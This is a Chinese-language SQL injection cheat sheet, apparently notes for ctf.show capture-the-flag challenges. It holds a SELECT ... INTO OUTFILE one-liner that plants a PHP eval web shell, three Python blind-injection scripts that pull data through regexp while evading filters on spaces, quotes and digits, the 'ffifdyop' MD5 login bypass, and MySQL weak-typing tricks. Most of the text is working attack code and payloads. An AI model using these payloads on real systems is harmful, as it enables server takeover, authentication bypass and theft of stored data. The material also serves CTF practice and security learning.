过滤某些字符

使用Replace进行替代

如过滤数字

select username, replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password, 0, '!'), 1, '@'), 2, '#'), 3, '$'), 4, '%'), 5, '^'), 6, '&'), 7, '*'), 8, '('), 9, ')') from user;

直接写shell

SELECT 1, '<?php @eval($_POST[x]);?>' INTO OUTFILE '/var/www/html/1.php'

bool盲注小脚本

无空格

import requests
import time


def get_response(result):
    url = 'http://e952e288-3d6c-4c73-9f3c-9bdf904827d5.challenge.ctf.show/select-waf.php'
    payload = "`ctfshow_user`where`pass`regexp'^{}'"
    dic = 'ctfshow{034e69f-a87bdgijklmnpqruvxyz125_}'
    data = {
        'tableName': payload
    }
    for word in dic:
        data['tableName'] = payload.format(result + word)
        response = requests.post(url, data=data)
        time.sleep(0.25)
        if response.text.find('$user_count = 1;') > 0:
            result += word
            return result


if __name__ == '__main__':
    result = ''
    for i in range(55):
        result = get_response(result)
        print(result)

有空格无引号

import requests
import time


def str2hex(string):
    result = ''
    for word in string:
        result += hex(ord(word))
    return result.replace('0x', '')

def get_response(result):
    url = 'http://61dea855-662d-4843-bd43-4518d01c80f6.challenge.ctf.show/select-waf.php'
    payload = "ctfshow_user group by pass having pass regexp(0x{})"
    dic = 'ctfshow{034e69f-a87bdgijklmnpqruvxyz125_}'
    data = {
        'tableName': payload
    }
    for word in dic:
        data['tableName'] = payload.format(str2hex(result) + str2hex(word))
        response = requests.post(url, data=data)
        time.sleep(0.25)
        if response.text.find('$user_count = 1;') > 0:
            result += word
            return result


if __name__ == '__main__':
    result = ''
    for i in range(55):
        result = get_response(result)
        print(result)

有空格无引号无数字

import requests
import time

true_dict = {
    '0': 'false',
    '1': 'true',
}
for i in range(2, 10):
    true_dict[str(i)] = true_dict['1'] + '+true' * (i - 1)


def word2char(word):
    num = str(ord(word))
    result = 'char(concat('
    for i in range(len(num)):
        if i == 0:
            result += '(' + true_dict[num[i]] + ')'
        else:
            result += ',(' + true_dict[num[i]] + ')'
    result += '))'
    return result


def sentence2true(string):
    final_pass = ''
    if string:
        for i in range(len(string)):
            if i == 0:
                final_pass += word2char(string[i])
            else:
                final_pass += ',' + word2char(string[i])
        final_pass += ''
    return final_pass


def get_response(result):
    url = 'http://283b4efa-e5be-454c-8b79-58af5d20673d.challenge.ctf.show/select-waf.php'
    payload = "ctfshow_user group by pass having pass regexp(concat(char(concat((true+true+true+true+true+true+true+true+true),(true+true+true+true))),{}))"
    dic = 'ctfshow{034e69f-a87bdgijklmnpqruvxyz125_}'
    data = {
        'tableName': payload
    }
    for word in dic:
        data['tableName'] = payload.format(sentence2true(result + word))
        response = requests.post(url, data=data)
        time.sleep(0.25)
        if response.text.find('$user_count = 1;') > 0:
            result += word
            return result


if __name__ == '__main__':
    result = ''
    for i in range(55):
        result = get_response(result)
        print(result)

ffifdyop 绕过

经过md5加密后：276f722736c95d99e921722cf9ed621c

再转换为字符串：'or'6<乱码> 即 'or'66�]��!r,��b

用法

select * from admin where password=''or'6<乱码>'

就相当于select * from admin where password=''or 1 实现sql注入

MySQL弱类型

select pass from ctfshow_user where username = 0;
# 返回所有字母开头的字符串
select pass from ctfshow_user where username = 1;
# 返回所有有且仅以1开头的字符串